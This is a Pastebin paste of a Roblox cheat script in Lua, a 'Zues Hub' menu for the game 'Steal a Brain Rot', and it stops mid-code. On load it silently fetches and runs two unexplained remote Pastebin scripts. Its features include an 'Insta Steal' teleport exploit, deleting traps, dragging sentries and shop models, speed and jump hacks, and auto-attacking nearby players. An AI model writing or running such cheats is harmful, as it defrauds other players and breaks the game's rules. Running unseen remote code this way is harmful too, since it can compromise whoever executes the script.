Kenken_I

New upd

Jul 5th, 2025 (edited)
21,970
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 56.28 KB | None | 0 0
  1. local Players = game:GetService("Players")
  2. local player = Players.LocalPlayer
  3. local playerGui = player:WaitForChild("PlayerGui")
  4.  
  5. -- Auto-run external scripts on load
  6. pcall(function()
  7. loadstring(game:HttpGet("https://pastebin.com/raw/qrFryUJ2",true))()
  8. end)
  9.  
  10. pcall(function()
  11. loadstring(game:HttpGet("https://pastebin.com/raw/8nMHjrYw", true))()
  12. end)
  13.  
  14. local Rayfield = loadstring(game:HttpGet("https://sirius.menu/rayfield"))()
  15.  
  16. -- Create the main window
  17. local Window = Rayfield:CreateWindow({
  18. Name = "Steal a Brain Rot Destroyer v2 Zues Hub",
  19. LoadingTitle = "made by ken_i",
  20. LoadingSubtitle = "Using Rayfield",
  21. ConfigurationSaving = { Enabled = true },
  22. Discord = { Enabled = false },
  23. KeySystem = false
  24. })
  25.  
  26. -- Services
  27. local Players = game:GetService("Players")
  28. local RunService = game:GetService("RunService")
  29. local TweenService = game:GetService("TweenService")
  30. local LocalPlayer = Players.LocalPlayer
  31. local Camera = workspace.CurrentCamera
  32.  
  33. -- Core variables
  34. local speedLockEnabled = false
  35. local visibilityEnabled = false
  36. local antiTrapEnabled = false
  37. local antiTrapRunning = false
  38. local medusaEnabled = false
  39. local medusaCooldown = false
  40. local medusaToolName = "Medusa's Head"
  41. local medusaRange = 16
  42. local sentryActive = false
  43. local shopNPCCashActive = false
  44. local originalShopPositions = {}
  45.  
  46. -- ShopNPCCash functionality
  47. local function manageShopNPCCash()
  48. while shopNPCCashActive and task.wait(0.1) do
  49. local cashModel = workspace:FindFirstChild("ShopNPCCash")
  50. local character = LocalPlayer.Character
  51. local rootPart = character and character:FindFirstChild("HumanoidRootPart")
  52.  
  53. if cashModel and cashModel:IsA("Model") and rootPart then
  54. -- Store original position if not already stored
  55. if not originalShopPositions[cashModel] then
  56. local primaryPart = cashModel.PrimaryPart or cashModel:FindFirstChildWhichIsA("BasePart")
  57. if primaryPart then
  58. originalShopPositions[cashModel] = primaryPart.CFrame
  59. end
  60. end
  61.  
  62. -- Prepare and move the model
  63. local primaryPart = cashModel.PrimaryPart or cashModel:FindFirstChildWhichIsA("BasePart")
  64. if primaryPart then
  65. for _, part in ipairs(cashModel:GetDescendants()) do
  66. if part:IsA("BasePart") then
  67. part.Anchored = false
  68. part.CanCollide = false
  69. part.Massless = true
  70. end
  71. end
  72. cashModel:SetPrimaryPartCFrame(rootPart.CFrame * CFrame.new(0, 0, -3))
  73. end
  74. end
  75. end
  76.  
  77. -- Return shops to original positions when disabled
  78. if not shopNPCCashActive then
  79. for model, position in pairs(originalShopPositions) do
  80. if model and model.Parent then
  81. local primaryPart = model.PrimaryPart or model:FindFirstChildWhichIsA("BasePart")
  82. if primaryPart then
  83. model:SetPrimaryPartCFrame(position)
  84. for _, part in ipairs(model:GetDescendants()) do
  85. if part:IsA("BasePart") then
  86. part.Anchored = true
  87. part.CanCollide = true
  88. part.Massless = false
  89. end
  90. end
  91. end
  92. end
  93. end
  94. originalShopPositions = {}
  95. end
  96. end
  97.  
  98. -- Visibility functionality
  99. local function makeCharacterVisible(character)
  100. for _, part in ipairs(character:GetDescendants()) do
  101. if part:IsA("BasePart") then
  102. part.Transparency = 0
  103. part.CanCollide = false
  104. elseif part:IsA("Accessory") or part:IsA("Tool") then
  105. local handle = part:FindFirstChild("Handle")
  106. if handle and handle:IsA("BasePart") then
  107. handle.Transparency = 0
  108. handle.CanCollide = false
  109. end
  110. end
  111. end
  112. end
  113.  
  114. local function makeToolsVisible(player)
  115. local backpack = player:FindFirstChild("Backpack")
  116. if backpack then
  117. for _, tool in ipairs(backpack:GetChildren()) do
  118. local handle = tool:FindFirstChild("Handle")
  119. if handle and handle:IsA("BasePart") then
  120. handle.Transparency = 0
  121. handle.CanCollide = false
  122. end
  123. end
  124. end
  125. if player.Character then
  126. for _, tool in ipairs(player.Character:GetChildren()) do
  127. local handle = tool:FindFirstChild("Handle")
  128. if handle and handle:IsA("BasePart") then
  129. handle.Transparency = 0
  130. handle.CanCollide = false
  131. end
  132. end
  133. end
  134. end
  135.  
  136. local function onCharacterAdded(character)
  137. makeCharacterVisible(character)
  138. character.ChildAdded:Connect(function(child)
  139. task.wait(0.1)
  140. if child:IsA("BasePart") then
  141. child.Transparency = 0
  142. child.CanCollide = true
  143. elseif child:IsA("Accessory") or child:IsA("Tool") then
  144. local handle = child:FindFirstChild("Handle")
  145. if handle and handle:IsA("BasePart") then
  146. handle.Transparency = 0
  147. handle.CanCollide = false
  148. end
  149. end
  150. end)
  151. end
  152.  
  153. -- Speed lock
  154. local function applySpeedProtection(humanoid)
  155. if not humanoid then return end
  156. humanoid.WalkSpeed = desiredSpeed
  157. humanoid:GetPropertyChangedSignal("WalkSpeed"):Connect(function()
  158. if speedLockEnabled and humanoid.WalkSpeed ~= desiredSpeed then
  159. humanoid.WalkSpeed = desiredSpeed
  160. end
  161. end)
  162. end
  163.  
  164. -- Character listener
  165. local function onPlayerCharacterAdded(character)
  166. local humanoid = character:WaitForChild("Humanoid", 5)
  167. if humanoid and speedLockEnabled then
  168. applySpeedProtection(humanoid)
  169. end
  170. if visibilityEnabled then
  171. onCharacterAdded(character)
  172. end
  173. end
  174.  
  175. LocalPlayer.CharacterAdded:Connect(onPlayerCharacterAdded)
  176. if LocalPlayer.Character then onPlayerCharacterAdded(LocalPlayer.Character) end
  177.  
  178. -- Fake trap creation
  179. local function getAveragePosition(obj)
  180. if obj:IsA("Model") then
  181. local total = Vector3.zero
  182. local count = 0
  183. for _, part in ipairs(obj:GetDescendants()) do
  184. if part:IsA("BasePart") then
  185. total += part.Position
  186. count += 1
  187. end
  188. end
  189. if count > 0 then return total / count end
  190. elseif obj:IsA("BasePart") then
  191. return obj.Position
  192. end
  193. return Vector3.zero
  194. end
  195.  
  196. local function createFakeTrap(position)
  197. local part = Instance.new("Part")
  198. part.Name = "FakeTrap"
  199. part.Size = Vector3.new(1.3,1.3,1.3)
  200. part.Anchored = true
  201. part.CanCollide = false
  202. part.Color = Color3.fromRGB(0,255,0)
  203. part.Material = Enum.Material.SmoothPlastic
  204. part.Position = position + Vector3.new(0, part.Size.Y/2, 0)
  205. part.Parent = workspace
  206. end
  207.  
  208. local function startAntiTrap()
  209. if antiTrapRunning then return end
  210. antiTrapRunning = true
  211. task.spawn(function()
  212. while antiTrapEnabled do
  213. for _, obj in ipairs(workspace:GetDescendants()) do
  214. if obj.Name == "Trap" then
  215. local pos = getAveragePosition(obj)
  216. pcall(function() obj:Destroy() end)
  217. createFakeTrap(pos)
  218. end
  219. end
  220. task.wait(5)
  221. end
  222. antiTrapRunning = false
  223. end)
  224. end
  225.  
  226. -- Medusa logic
  227. local function activateMedusa()
  228. if medusaCooldown then return end
  229. local char = LocalPlayer.Character
  230. if not char then return end
  231. local humanoid = char:FindFirstChildOfClass("Humanoid")
  232. if not humanoid then return end
  233. local equipped = char:FindFirstChild(medusaToolName)
  234. if equipped then
  235. equipped:Activate()
  236. else
  237. local tool = LocalPlayer.Backpack:FindFirstChild(medusaToolName)
  238. if tool then
  239. humanoid:EquipTool(tool)
  240. task.wait(0.00001)
  241. tool:Activate()
  242. end
  243. end
  244. medusaCooldown = true
  245. task.delay(0.006, function() medusaCooldown = false end)
  246. end
  247.  
  248. -- Sentry grab logic
  249. RunService.Heartbeat:Connect(function()
  250. if not sentryActive then return end
  251.  
  252. local char = LocalPlayer.Character
  253. if not char then return end
  254. local tool = char:FindFirstChildOfClass("Tool")
  255. local handle = tool and tool:FindFirstChild("Handle")
  256. if not handle then return end
  257.  
  258. for _, part in ipairs(workspace:GetDescendants()) do
  259. if part:IsA("BasePart") and part.Name:find("Sentry_") then
  260. local dist = (part.Position - handle.Position).Magnitude
  261. if dist <= 70 then
  262. part.Massless = true
  263. part.CanCollide = false
  264. part.Anchored = false
  265. part.CFrame = handle.CFrame
  266. end
  267. end
  268. end
  269. end)
  270.  
  271. -- UI Setup
  272. local MainTab = Window:CreateTab("🎯 Main", 6034818371)
  273. -- Below your Rayfield window and MainTab setup
  274. local autoSwordEnabled = false
  275. local lastUsed = 0
  276. local Players = game:GetService("Players")
  277. local RunService = game:GetService("RunService")
  278. local ReplicatedStorage = game:GetService("ReplicatedStorage")
  279. local LocalPlayer = Players.LocalPlayer
  280.  
  281. -- Create the toggle
  282. MainTab:CreateToggle({
  283. Name = "🗡️Knock Back Arua Rainbow Sword",
  284. CurrentValue = false,
  285. Callback = function(enabled)
  286. autoSwordEnabled = enabled
  287.  
  288. -- Execute the remote once on toggle on
  289. if enabled then
  290. task.spawn(function()
  291. local args = { [1] = "Rainbowrath Sword" }
  292. local remote = ReplicatedStorage:FindFirstChild("Packages")
  293. :FindFirstChild("Net")
  294. :FindFirstChild("RF/CoinsShopService/RequestBuy")
  295. if remote then
  296. pcall(function()
  297. remote:InvokeServer(unpack(args))
  298. end)
  299. end
  300. end)
  301. end
  302. end,
  303. })
  304.  
  305. --// Services
  306. local Players = game:GetService("Players")
  307. local RunService = game:GetService("RunService")
  308. local TweenService = game:GetService("TweenService")
  309. local Workspace = game:GetService("Workspace")
  310.  
  311. local player = Players.LocalPlayer
  312. local character = player.Character or player.CharacterAdded:Wait()
  313. local root = character:WaitForChild("HumanoidRootPart")
  314.  
  315.  
  316. --// GUI Setup
  317. local gui = Instance.new("ScreenGui")
  318. gui.Name = "KensInstaSteal"
  319. gui.ResetOnSpawn = false
  320. gui.Enabled = false -- Start hidden, toggle controls visibility
  321. gui.Parent = player:WaitForChild("PlayerGui")
  322.  
  323. -- Outer draggable frame
  324. local frame = Instance.new("Frame", gui)
  325. frame.Size = UDim2.new(0, 200, 0, 100)
  326. frame.Position = UDim2.new(1, -220, 0.4, 0)
  327. frame.AnchorPoint = Vector2.new(0, 0.5)
  328. frame.BackgroundTransparency = 1
  329. frame.Active = true
  330. frame.Draggable = true
  331.  
  332. -- Inner container
  333. local container = Instance.new("Frame", frame)
  334. container.Size = UDim2.new(0, 190, 0, 90)
  335. container.Position = UDim2.new(0, 5, 0, 5)
  336. container.BackgroundColor3 = Color3.fromRGB(25, 0, 0)
  337. container.BorderSizePixel = 0
  338.  
  339. Instance.new("UICorner", container).CornerRadius = UDim.new(0, 12)
  340.  
  341. local rainbowStroke = Instance.new("UIStroke", container)
  342. rainbowStroke.Thickness = 2
  343. rainbowStroke.Transparency = 0
  344. rainbowStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
  345.  
  346. RunService.Heartbeat:Connect(function()
  347. local hue = tick() % 5 / 5
  348. rainbowStroke.Color = Color3.fromHSV(hue, 1, 1)
  349. end)
  350.  
  351. -- Title Bar
  352. local titleBar = Instance.new("TextLabel", container)
  353. titleBar.Size = UDim2.new(1, 0, 0, 25)
  354. titleBar.Position = UDim2.new(0, 0, 0, 0)
  355. titleBar.BackgroundTransparency = 1
  356. titleBar.Text = "Ken's"
  357. titleBar.Font = Enum.Font.GothamBold
  358. titleBar.TextColor3 = Color3.fromRGB(255, 100, 100)
  359. titleBar.TextScaled = true
  360.  
  361. -- Insta Steal Button
  362. local button = Instance.new("TextButton", container)
  363. button.Size = UDim2.new(0.9, 0, 0, 40)
  364. button.Position = UDim2.new(0.05, 0, 0, 40)
  365. button.BackgroundColor3 = Color3.fromRGB(50, 0, 0)
  366. button.Text = "🚨 Insta Steal"
  367. button.Font = Enum.Font.GothamBold
  368. button.TextColor3 = Color3.fromRGB(255, 100, 100)
  369. button.TextScaled = true
  370. button.BorderSizePixel = 0
  371.  
  372. Instance.new("UICorner", button).CornerRadius = UDim.new(0, 12)
  373.  
  374. local buttonStroke = Instance.new("UIStroke", button)
  375. buttonStroke.Thickness = 2
  376. RunService.Heartbeat:Connect(function()
  377. local hue = tick() % 5 / 5
  378. buttonStroke.Color = Color3.fromHSV(hue, 1, 1)
  379. end)
  380.  
  381. -- Black screen overlay
  382. local blackScreen = Instance.new("Frame", gui)
  383. blackScreen.Size = UDim2.new(1, 0, 1, 0)
  384. blackScreen.BackgroundColor3 = Color3.new(0, 0, 0)
  385. blackScreen.BackgroundTransparency = 1
  386. blackScreen.ZIndex = 1000
  387. blackScreen.Visible = false
  388.  
  389. -- Helpers
  390. local function fadeBlackScreen(toTransparency, duration)
  391. local tweenInfo = TweenInfo.new(duration, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut)
  392. return TweenService:Create(blackScreen, tweenInfo, {BackgroundTransparency = toTransparency})
  393. end
  394.  
  395. local function freeze(duration)
  396. local start = tick()
  397. while tick() - start < duration do
  398. RunService.Heartbeat:Wait()
  399. end
  400. end
  401.  
  402. local function getDeliveryHitboxes()
  403. local parts = {}
  404. for _, obj in ipairs(Workspace:GetDescendants()) do
  405. if obj:IsA("BasePart") and obj.Name == "DeliveryHitbox" then
  406. table.insert(parts, obj)
  407. end
  408. end
  409. return parts
  410. end
  411.  
  412. local function getPlotSignCFrame()
  413. local username = player.Name
  414. local displayName = player.DisplayName
  415.  
  416. local function matchesName(text)
  417. if not text then return false end
  418. text = string.lower(text)
  419. return string.find(text, string.lower(username)) or string.find(text, string.lower(displayName))
  420. end
  421.  
  422. for _, part in ipairs(Workspace:GetDescendants()) do
  423. if part:IsA("BasePart") and part.Name == "PlotSign" then
  424. for _, surfaceGui in ipairs(part:GetDescendants()) do
  425. if surfaceGui:IsA("SurfaceGui") then
  426. for _, textLabel in ipairs(surfaceGui:GetDescendants()) do
  427. if textLabel:IsA("TextLabel") and matchesName(textLabel.Text) then
  428. local targetPos = part.Position + Vector3.new(0, -13, 0)
  429. return CFrame.new(targetPos, targetPos + root.CFrame.LookVector)
  430. end
  431. end
  432. end
  433. end
  434. end
  435. end
  436. return nil
  437. end
  438.  
  439. local weirdPos = Vector3.new(0, -3.4028234663852886e+38, 0)
  440. local busy = false
  441.  
  442. -- Insta Steal Logic
  443. button.MouseButton1Click:Connect(function()
  444. if busy then return end
  445. busy = true
  446.  
  447. character = player.Character or player.CharacterAdded:Wait()
  448. root = character:FindFirstChild("HumanoidRootPart")
  449. local humanoid = character:FindFirstChildOfClass("Humanoid")
  450. if not root or not humanoid then
  451. busy = false
  452. return
  453. end
  454.  
  455. local targetCFrame = getPlotSignCFrame()
  456. if not targetCFrame then
  457. warn("No matching PlotSign found.")
  458. busy = false
  459. return
  460. end
  461.  
  462. local deliveryParts = getDeliveryHitboxes()
  463. local originalPositions = {}
  464. for _, part in ipairs(deliveryParts) do
  465. originalPositions[part] = part.CFrame
  466. end
  467.  
  468. humanoid.PlatformStand = true
  469.  
  470. -- Step 1: Teleport to weirdPos twice
  471. for i = 1, 2 do
  472. root.CFrame = CFrame.new(weirdPos)
  473. task.wait(0.15)
  474. end
  475.  
  476. -- Step 2: Start main 5-second loop
  477. local duration = 5
  478. local endTime = tick() + duration
  479. local blackScreenShown = false
  480. local teleportedToWeirdPos = false
  481. local frozen = false
  482.  
  483. local connection
  484. connection = RunService.Heartbeat:Connect(function()
  485. local timeLeft = endTime - tick()
  486.  
  487. if not blackScreenShown and timeLeft <= 0.4 then
  488. blackScreen.Visible = true
  489. fadeBlackScreen(0, 0.3):Play()
  490. blackScreenShown = true
  491. end
  492.  
  493. if tick() > endTime then
  494. connection:Disconnect()
  495. humanoid.PlatformStand = false
  496.  
  497. for part, cframe in pairs(originalPositions) do
  498. if part and part.Parent then
  499. part.CFrame = cframe
  500. end
  501. end
  502.  
  503. local tween = fadeBlackScreen(1, 0.5)
  504. tween:Play()
  505. tween.Completed:Wait()
  506. blackScreen.Visible = false
  507. busy = false
  508. return
  509. end
  510.  
  511. if timeLeft <= 0.3 and not frozen then
  512. frozen = true
  513. freeze(0.3)
  514. return
  515. end
  516.  
  517. if timeLeft <= 0.6 and not teleportedToWeirdPos then
  518. root.CFrame = CFrame.new(weirdPos, weirdPos + targetCFrame.LookVector)
  519. teleportedToWeirdPos = true
  520. elseif timeLeft > 0.6 then
  521. root.CFrame = targetCFrame
  522. end
  523.  
  524. local basePos = root.Position
  525. for i, part in ipairs(deliveryParts) do
  526. if part and part.Parent then
  527. local offset = Vector3.new(2 * i, 0, 0)
  528. part.CFrame = CFrame.new(basePos + offset)
  529. end
  530. end
  531. end)
  532. end)
  533.  
  534. --// Toggle setup on MainTab
  535. -- Replace your CreateButton with CreateToggle:
  536.  
  537. MainTab:CreateToggle({
  538. Name = "⚡️Kens Instant Steal",
  539. CurrentValue = false,
  540. Flag = "KensInstantStealToggle", -- optional unique id
  541. Callback = function(state)
  542. gui.Enabled = state
  543. end,
  544. })
  545.  
  546.  
  547. -- Main heartbeat loop (runs each frame)
  548. RunService.Heartbeat:Connect(function()
  549. if not autoSwordEnabled then return end
  550.  
  551. local char = LocalPlayer.Character
  552. local hrp = char and char:FindFirstChild("HumanoidRootPart")
  553. local backpack = LocalPlayer:FindFirstChild("Backpack")
  554. if not (char and hrp and backpack) then return end
  555.  
  556. -- Find nearest player within 17 studs
  557. local nearest, dist
  558. for _, pl in ipairs(Players:GetPlayers()) do
  559. if pl ~= LocalPlayer and pl.Character and pl.Character:FindFirstChild("HumanoidRootPart") then
  560. local d = (hrp.Position - pl.Character.HumanoidRootPart.Position).Magnitude
  561. if not nearest or d < dist then
  562. nearest, dist = pl, d
  563. end
  564. end
  565. end
  566.  
  567. -- If a player is within range, face them
  568. if nearest and dist <= 17 then
  569. local targetHRP = nearest.Character:FindFirstChild("HumanoidRootPart")
  570. hrp.CFrame = CFrame.lookAt(hrp.Position, Vector3.new(targetHRP.Position.X, hrp.Position.Y, targetHRP.Position.Z))
  571.  
  572. -- Equip → Activate → Unequip sword
  573. if tick() - lastUsed >= 1 then
  574. for _, tool in ipairs(backpack:GetChildren()) do
  575. if tool:IsA("Tool") and tool.Name:match("Sword$") then
  576. lastUsed = tick()
  577. -- Clear current tool
  578. for _, eq in ipairs(char:GetChildren()) do
  579. if eq:IsA("Tool") then eq.Parent = backpack end
  580. end
  581. -- Use sword
  582. tool.Parent = char
  583. tool:Activate()
  584. task.delay(0.3, function()
  585. if tool.Parent == char then
  586. tool.Parent = backpack
  587. end
  588. end)
  589. break
  590. end
  591. end
  592. end
  593. end
  594. end)
  595.  
  596. local bodyLockEnabled = false
  597. local Players = game:GetService("Players")
  598. local RunService = game:GetService("RunService")
  599. local LocalPlayer = Players.LocalPlayer
  600.  
  601. -- Create the toggle button in MainTab
  602. MainTab:CreateToggle({
  603. Name = "🎯Body Lock Nearby Players",
  604. CurrentValue = false,
  605. Flag = "BodyLockToggle",
  606. Callback = function(state)
  607. bodyLockEnabled = state
  608. end,
  609. })
  610.  
  611. --// Services
  612. local Players = game:GetService("Players")
  613. local RunService = game:GetService("RunService")
  614. local UserInputService = game:GetService("UserInputService")
  615.  
  616. local LocalPlayer = Players.LocalPlayer
  617.  
  618. --// Toggles
  619. local jumpBoostEnabled = false
  620. local infiniteJumpEnabled = false
  621.  
  622. --// Settings
  623. local jumpBoostForce = 67
  624. local infiniteJumpMin = 45
  625. local infiniteJumpMax = 60
  626. local jumpCooldown = 0.05
  627.  
  628. --// State
  629. local lastJumpTime = 0
  630. local character, humanoid, rootPart
  631. local boostConnection = nil
  632.  
  633. --// Rebinds character on spawn/reset
  634. local function bindCharacter(char)
  635. character = char
  636. humanoid = char:WaitForChild("Humanoid")
  637. rootPart = char:WaitForChild("HumanoidRootPart")
  638. local jumping = false
  639.  
  640. -- Clear old connection
  641. if boostConnection then
  642. boostConnection:Disconnect()
  643. end
  644.  
  645. -- Jump Boost logic (trigger on jump state)
  646. boostConnection = humanoid.StateChanged:Connect(function(_, new)
  647. if new == Enum.HumanoidStateType.Jumping and not jumping and jumpBoostEnabled then
  648. jumping = true
  649.  
  650. RunService.RenderStepped:Wait()
  651. if rootPart and rootPart.Parent then
  652. local currentVel = rootPart.Velocity
  653. rootPart.Velocity = currentVel + Vector3.new(0, jumpBoostForce, 0)
  654. end
  655.  
  656. task.delay(0.2, function()
  657. jumping = false
  658. end)
  659. end
  660. end)
  661. end
  662.  
  663. --// Initial bind
  664. if LocalPlayer.Character then
  665. bindCharacter(LocalPlayer.Character)
  666. end
  667.  
  668. --// Rebind on respawn
  669. LocalPlayer.CharacterAdded:Connect(function(char)
  670. bindCharacter(char)
  671. end)
  672.  
  673. --// Infinite Jump: Trigger on JumpRequest
  674. UserInputService.JumpRequest:Connect(function()
  675. if not infiniteJumpEnabled then return end
  676. if not humanoid or not rootPart then return end
  677. if tick() - lastJumpTime < jumpCooldown then return end
  678.  
  679. local state = humanoid:GetState()
  680. if state == Enum.HumanoidStateType.Freefall or state == Enum.HumanoidStateType.Running or state == Enum.HumanoidStateType.Jumping then
  681. local boost = math.random(infiniteJumpMin * 10, infiniteJumpMax * 10) / 10
  682. rootPart.Velocity = Vector3.new(rootPart.Velocity.X, boost, rootPart.Velocity.Z)
  683. lastJumpTime = tick()
  684. end
  685. end)
  686.  
  687. --// UI Toggles (Connect to your MainTab)
  688. MainTab:CreateToggle({
  689. Name = "🕊️ Infinite Jump",
  690. CurrentValue = false,
  691. Callback = function(state)
  692. infiniteJumpEnabled = state
  693. end
  694. })
  695.  
  696. MainTab:CreateToggle({
  697. Name = "🏃‍♂️ Jump Boost",
  698. CurrentValue = false,
  699. Callback = function(state)
  700. jumpBoostEnabled = state
  701. end
  702. })
  703.  
  704.  
  705. --// Services
  706. local Players = game:GetService("Players")
  707. local player = Players.LocalPlayer
  708. local playerGui = player:WaitForChild("PlayerGui")
  709. local UIS = game:GetService("UserInputService")
  710.  
  711. --// Create ScreenGui
  712. local screenGui = Instance.new("ScreenGui")
  713. screenGui.Name = "FuturisticGui"
  714. screenGui.Parent = playerGui
  715. screenGui.ResetOnSpawn = false
  716. screenGui.Enabled = false -- Start hidden until toggle is enabled
  717.  
  718. --// Main Draggable Frame
  719. local mainFrame = Instance.new("Frame")
  720. mainFrame.Name = "MainFrame"
  721. mainFrame.Size = UDim2.new(0, 160, 0, 120)
  722. mainFrame.Position = UDim2.new(1, -170, 0.4, 0)
  723. mainFrame.AnchorPoint = Vector2.new(0, 0.5)
  724. mainFrame.BackgroundColor3 = Color3.fromRGB(10, 10, 10)
  725. mainFrame.BorderSizePixel = 0
  726. mainFrame.BackgroundTransparency = 0
  727. mainFrame.Parent = screenGui
  728. mainFrame.Active = true
  729. mainFrame.Draggable = true
  730.  
  731. --// UI Stroke (blue glow)
  732. local stroke = Instance.new("UIStroke")
  733. stroke.Thickness = 2
  734. stroke.Color = Color3.fromRGB(0, 170, 255)
  735. stroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
  736. stroke.Parent = mainFrame
  737.  
  738. --// UI Corner (rounded edges)
  739. local corner = Instance.new("UICorner")
  740. corner.CornerRadius = UDim.new(0, 10)
  741. corner.Parent = mainFrame
  742.  
  743. --// UIListLayout (for button stacking)
  744. local layout = Instance.new("UIListLayout")
  745. layout.Parent = mainFrame
  746. layout.SortOrder = Enum.SortOrder.LayoutOrder
  747. layout.Padding = UDim.new(0, 10)
  748. layout.HorizontalAlignment = Enum.HorizontalAlignment.Center
  749. layout.VerticalAlignment = Enum.VerticalAlignment.Center
  750.  
  751. --// Button creation function
  752. local function createFuturisticButton(text)
  753. local btn = Instance.new("TextButton")
  754. btn.Size = UDim2.new(0, 140, 0, 45)
  755. btn.BackgroundColor3 = Color3.fromRGB(15, 15, 15)
  756. btn.BorderSizePixel = 0
  757. btn.Text = text
  758. btn.Font = Enum.Font.GothamBold
  759. btn.TextSize = 18
  760. btn.TextColor3 = Color3.fromRGB(0, 170, 255)
  761. btn.AutoButtonColor = false
  762.  
  763. local btnCorner = Instance.new("UICorner")
  764. btnCorner.CornerRadius = UDim.new(0, 8)
  765. btnCorner.Parent = btn
  766.  
  767. local btnStroke = Instance.new("UIStroke")
  768. btnStroke.Thickness = 1.5
  769. btnStroke.Color = Color3.fromRGB(0, 170, 255)
  770. btnStroke.Transparency = 0.4
  771. btnStroke.Parent = btn
  772.  
  773. btn.MouseEnter:Connect(function()
  774. btn.BackgroundColor3 = Color3.fromRGB(20, 20, 20)
  775. btnStroke.Transparency = 0
  776. end)
  777. btn.MouseLeave:Connect(function()
  778. btn.BackgroundColor3 = Color3.fromRGB(15, 15, 15)
  779. btnStroke.Transparency = 0.4
  780. end)
  781.  
  782. return btn
  783. end
  784.  
  785. --// Buttons
  786. local upButton = createFuturisticButton("⬆ Up")
  787. upButton.Parent = mainFrame
  788.  
  789. local downButton = createFuturisticButton("⬇ Down")
  790. downButton.Parent = mainFrame
  791.  
  792. --// Variables
  793. local teleportHeight = 240
  794. local character = player.Character or player.CharacterAdded:Wait()
  795. local targetSize = Vector3.new(55.3507, 466.2961, 495.0706)
  796. local tolerance = 0.1
  797.  
  798. --// Utility Functions
  799. local function isSizeMatch(partSize, targetSize, tol)
  800. return math.abs(partSize.X - targetSize.X) <= tol
  801. and math.abs(partSize.Y - targetSize.Y) <= tol
  802. and math.abs(partSize.Z - targetSize.Z) <= tol
  803. end
  804.  
  805. local function findPartBySize()
  806. for _, part in pairs(workspace:GetDescendants()) do
  807. if part:IsA("BasePart") then
  808. if isSizeMatch(part.Size, targetSize, tolerance) then
  809. return part
  810. end
  811. end
  812. end
  813. return nil
  814. end
  815.  
  816. --// Button Functions
  817. local function teleportUp()
  818. character = player.Character or player.CharacterAdded:Wait()
  819. local root = character:FindFirstChild("HumanoidRootPart")
  820. if root then
  821. root.CFrame = root.CFrame + Vector3.new(0, teleportHeight, 0)
  822. end
  823. end
  824.  
  825. local function disableCollisionTemporarily()
  826. local part = findPartBySize()
  827. if part then
  828. part.CanCollide = false
  829. print("[Gui] Collision disabled on:", part.Name)
  830. task.delay(3, function()
  831. if part and part.Parent then
  832. part.CanCollide = true
  833. print("[Gui] Collision restored on:", part.Name)
  834. end
  835. end)
  836. else
  837. warn("[Gui] No matching part found.")
  838. end
  839. end
  840.  
  841. --// Bind Button Events
  842. upButton.MouseButton1Click:Connect(teleportUp)
  843. downButton.MouseButton1Click:Connect(disableCollisionTemporarily)
  844.  
  845. --// Create Toggle Button in MainTab
  846. MainTab:CreateToggle({
  847. Name = "🛠️ Up Down Steal Gui(PATCHED)",
  848. CurrentValue = false,
  849. Callback = function(enabled)
  850. screenGui.Enabled = enabled
  851. end
  852. })
  853.  
  854.  
  855. -- Continuous loop: rotates your body each frame when toggle is on
  856. RunService.Heartbeat:Connect(function()
  857. if not bodyLockEnabled then return end
  858.  
  859. local char = LocalPlayer.Character
  860. local hrp = char and char:FindFirstChild("HumanoidRootPart")
  861. if not hrp then return end
  862.  
  863. local nearest, dist = nil, 30
  864. for _, p in ipairs(Players:GetPlayers()) do
  865. if p ~= LocalPlayer and p.Character and p.Character:FindFirstChild("HumanoidRootPart") then
  866. local d = (hrp.Position - p.Character.HumanoidRootPart.Position).Magnitude
  867. if d <= dist then
  868. nearest, dist = p, d
  869. end
  870. end
  871. end
  872.  
  873. if nearest then
  874. local targetHRP = nearest.Character.HumanoidRootPart
  875. hrp.CFrame = CFrame.lookAt(
  876. hrp.Position,
  877. Vector3.new(targetHRP.Position.X, hrp.Position.Y, targetHRP.Position.Z)
  878. )
  879. end
  880. end)
  881.  
  882. local Players = game:GetService("Players")
  883. local RunService = game:GetService("RunService")
  884.  
  885. local LocalPlayer = Players.LocalPlayer
  886.  
  887. local autoActivateEnabled = false
  888. local RANGE = 30
  889. local DEBOUNCE_TIME = 0.15
  890. local lastUsed = 0
  891.  
  892. local function getNearestPlayer(maxDistance)
  893. local character = LocalPlayer.Character
  894. if not character then return nil end
  895. local hrp = character:FindFirstChild("HumanoidRootPart")
  896. if not hrp then return nil end
  897.  
  898. for _, player in ipairs(Players:GetPlayers()) do
  899. if player ~= LocalPlayer and player.Character and player.Character:FindFirstChild("HumanoidRootPart") then
  900. local dist = (hrp.Position - player.Character.HumanoidRootPart.Position).Magnitude
  901. if dist <= maxDistance then
  902. return player
  903. end
  904. end
  905. end
  906. return nil
  907. end
  908.  
  909. -- Heartbeat connection (runs only when toggle is enabled)
  910. RunService.Heartbeat:Connect(function()
  911. if not autoActivateEnabled then return end
  912.  
  913. local now = tick()
  914. if now - lastUsed < DEBOUNCE_TIME then return end
  915.  
  916. local character = LocalPlayer.Character
  917. if not character then return end
  918. local hrp = character:FindFirstChild("HumanoidRootPart")
  919. if not hrp then return end
  920.  
  921. local target = getNearestPlayer(RANGE)
  922. if target then
  923. -- Check the tool currently equipped (in character)
  924. for _, tool in ipairs(character:GetChildren()) do
  925. if tool:IsA("Tool") then
  926. if tool.Name:match("Slap$") or tool.Name:match("Sword$") or tool.Name:match("Bat$") then
  927. lastUsed = now
  928. -- Activate without unequipping
  929. tool:Activate()
  930. break
  931. end
  932. end
  933. end
  934. end
  935. end)
  936.  
  937. local Players = game:GetService("Players")
  938. local RunService = game:GetService("RunService")
  939. local player = Players.LocalPlayer
  940.  
  941. -- BOOST VARIABLES
  942. local boostEnabled = false
  943. local enforcedSpeed = 47
  944. local defaultSpeed = 40
  945. local currentHumanoid = nil
  946. local speedConnection = nil
  947.  
  948. -- CREATE BOOST GUI
  949. local screenGui = Instance.new("ScreenGui")
  950. screenGui.Name = "BoostUI"
  951. screenGui.ResetOnSpawn = false
  952. screenGui.Enabled = false
  953. screenGui.Parent = player:WaitForChild("PlayerGui")
  954.  
  955. local frame = Instance.new("Frame")
  956. frame.Size = UDim2.new(0, 220, 0, 120)
  957. frame.Position = UDim2.new(0.4, 0, 0.4, 0)
  958. frame.BackgroundColor3 = Color3.fromRGB(20, 20, 20)
  959. frame.BorderSizePixel = 0
  960. frame.Active = true
  961. frame.Draggable = true
  962. frame.Parent = screenGui
  963.  
  964. -- Rounded corners
